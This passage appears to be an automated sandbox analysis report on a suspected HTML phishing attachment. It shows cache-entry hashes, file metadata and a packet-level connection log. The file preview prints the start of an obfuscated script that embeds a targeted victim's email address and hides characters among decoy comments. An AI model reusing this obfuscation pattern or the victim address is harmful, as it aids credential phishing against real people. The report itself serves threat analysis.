p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.006397973868936
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	Play_VM-NowTingrammAudiowav011.html
File size:	14'215 bytes
MD5:	28620f074088647963bfee555e618387
SHA1:	494d6506a00a5edc27e30d17b645d92e1af0a368
SHA256:	e4128affe245b240215e13df1a6662bea12ea7740ebafa53bcef46d2294adc34
SHA512:	17f19ef9d81d28894defb34a4dfee051454c555d3cbe9516726bd24f1097080003ca45a00c82b865ac546eb094600535a41a3c74f06d06acdb09080f45779566
SSDEEP:	192:tsayIGxGUTbC4l4KkE4PyhLsgatQN8UuStp22ybtDNa3RWOqHC0N:Cay9nvCrNJqhIbLgT29La3RKB
TLSH:	8552EB1DB38033621AA657776BCE57AFB6461B2C930741D034F9222C65269CB89DE8FC
File Content Preview:	<html><head><meta charset="UTF-8"></head><body><script>starwort = '#Jtingramm@pointloma.edu';....tabby = ["&#104",';a&',.. /* The team celebrated their victory with enthusiasm. / `#1`,'14;&',.. / The artist sketched a beautiful landscape. / .. / <

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:33:06.128695965 CET	49678	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:06.128695011 CET	49677	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:06.128746986 CET	49676	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:10.308073997 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:10.308115959 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:10.308186054 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:10.308377981 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:10.308387995 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.054792881 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.055041075 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.055049896 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.056284904 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.056348085 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.057480097 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.057601929 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.057677984 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.099334955 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.100655079 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.100666046 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.148727894 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.301516056 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.301542997 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.301609993 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.301649094 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.301702023 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.302345037 CET	49704	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.302360058 CET	443	49704	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.331123114 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.331161022 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.331286907 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.331906080 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.331921101 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.339145899 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.339201927 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.339282036 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.339530945 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:11.339548111 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:11.797579050 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.797998905 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.798032999 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.799113035 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.799232006 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.800415039 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.800501108 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.800611019 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.800645113 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.845710039 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.948230982 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948285103 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948312044 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948333979 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948358059 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948369980 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.948407888 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948422909 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.948457003 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.948627949 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948676109 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.948726892 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.948735952 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.954735041 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.954761982 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.954785109 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.954801083 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:11.954826117 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:11.954838037 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.005659103 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.036602974 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.036808014 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.036878109 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.036906958 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.036987066 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.037050962 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.037060022 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.037461996 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.037538052 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.037549019 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.037633896 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.037717104 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.037754059 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.037763119 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.037801027 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.038177967 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.038331985 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.038423061 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.038428068 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.038451910 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.038512945 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.038536072 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.039216995 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.039293051 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.039300919 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.039406061 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.039602041 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.039611101 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.039640903 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.040081978 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.040127039 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.040139914 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.040178061 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.040184021 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.040256977 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.040337086 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.040457010 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.040465117 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.040515900 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.040549994 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.040569067 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.040802002 CET	49705	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:12.040817976 CET	443	49705	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:12.041275024 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.041419983 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.041773081 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.041773081 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.041838884 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.051826000 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.051881075 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.052278996 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.052457094 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.052484035 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.085725069 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.085738897 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.132714033 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.292027950 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.292047024 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.292104006 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.292124987 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.292148113 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.292399883 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.292941093 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.292989016 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.293248892 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.293384075 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.293422937 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.293467999 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.293745995 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.293767929 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.294142008 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.294152975 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.294632912 CET	49706	443	192.168.2.17	103.83.194.55
Jan 10, 2025 16:33:12.294646025 CET	443	49706	103.83.194.55	192.168.2.17
Jan 10, 2025 16:33:12.522922039 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.523251057 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.523278952 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.524730921 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.525089025 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.525089979 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.525217056 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.525262117 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.571342945 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.576724052 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.576746941 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.624665976 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.665124893 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665174007 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665199041 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665235043 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665256977 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.665257931 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665273905 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665299892 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.665319920 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665334940 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.665343046 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665429115 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.665512085 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665561914 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.665606976 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.665612936 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.669821024 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.669898033 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.669904947 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.720683098 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.756192923 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.756261110 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.756289959 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.756339073 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.756370068 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.756381035 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.756563902 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.757189989 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.757242918 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.757266045 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.757282972 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.757289886 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.757405043 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.757410049 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.758162975 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.758187056 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.758213043 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.758255005 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.758263111 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.758269072 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.758337021 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.758436918 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.759043932 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.759140015 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.759166002 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.759248018 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.759300947 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.759300947 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.759308100 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.759545088 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.760049105 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.760175943 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.760314941 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.760637045 CET	49707	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:12.760658979 CET	443	49707	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:12.767764091 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.768151045 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.768163919 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.769258022 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.769331932 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.770462036 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.770544052 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.770620108 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.770627975 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.778704882 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.778923035 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.778932095 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.780102015 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.780196905 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.780487061 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.780544996 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.815685987 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.831720114 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:12.831727982 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:12.879729986 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.225087881 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.225172043 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.225218058 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.225243092 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.225263119 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.225281000 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.225311041 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.225325108 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.226300955 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.226325035 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.226341009 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.226351023 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.226367950 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.229929924 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.229960918 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.229985952 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.230051041 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.230063915 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.230115891 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.313652992 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.313716888 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.313750029 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.313779116 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.313805103 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.313823938 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.313855886 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.313915968 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.316404104 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.316911936 CET	49708	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:13.316927910 CET	443	49708	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:13.325850010 CET	49710	443	192.168.2.17	151.101.130.137
Jan 10, 2025 16:33:13.325916052 CET	443	49710	151.101.130.137	192.168.2.17
Jan 10, 2025 16:33:13.326118946 CET	49711	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:13.326138973 CET	443	49711	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:13.326168060 CET	49710	443	192.168.2.17	151.101.130.137
Jan 10, 2025 16:33:13.326205015 CET	49711	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:13.326373100 CET	49710	443	192.168.2.17	151.101.130.137
Jan 10, 2025 16:33:13.326389074 CET	443	49710	151.101.130.137	192.168.2.17
Jan 10, 2025 16:33:13.326503992 CET	49711	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:13.326524019 CET	443	49711	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:13.327394962 CET	49712	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:13.327428102 CET	443	49712	104.17.25.14	192.168.2.17
Jan 10, 2025 16:33:13.327502012 CET	49712	443	192.168.2.17	104.17.25.14
Jan 10, 2025 16:33:13.327657938 CET	49712	443	192.168.2.17	104.17.25.14
